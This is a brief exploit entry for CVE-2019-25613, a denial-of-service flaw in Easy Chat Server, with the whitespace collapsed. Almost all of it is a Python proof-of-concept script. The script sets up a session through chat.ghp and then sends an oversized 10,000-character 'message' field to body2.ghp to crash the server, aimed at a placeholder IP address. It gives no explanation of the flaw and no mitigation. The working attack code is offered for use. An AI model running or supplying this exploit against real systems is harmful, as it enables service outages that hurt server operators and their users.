CVE-2019-25613 Easy Chat Server拒绝服务漏洞

import requests def exploit(target_ip): target_url = f"http://{target_ip}" s = requests.Session() # Step 1: Establish session via chat.ghp try: s.get(f"{target_url}/chat.ghp") except requests.exceptions.RequestException as e: print(f"Connection failed: {e}") return # Step 2: Send malformed POST request to body2.ghp # Sending an oversized 'message' parameter to trigger the crash payload = { "message": "A" * 10000 # Oversized data } try: print(f"Sending exploit payload to {target_url}/body2.ghp...") response = s.post(f"{target_url}/body2.ghp", data=payload) print(f"Server responded with status: {response.status_code}") except requests.exceptions.ConnectionError: print("Service crashed (Connection reset by peer)") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with target IP exploit(target)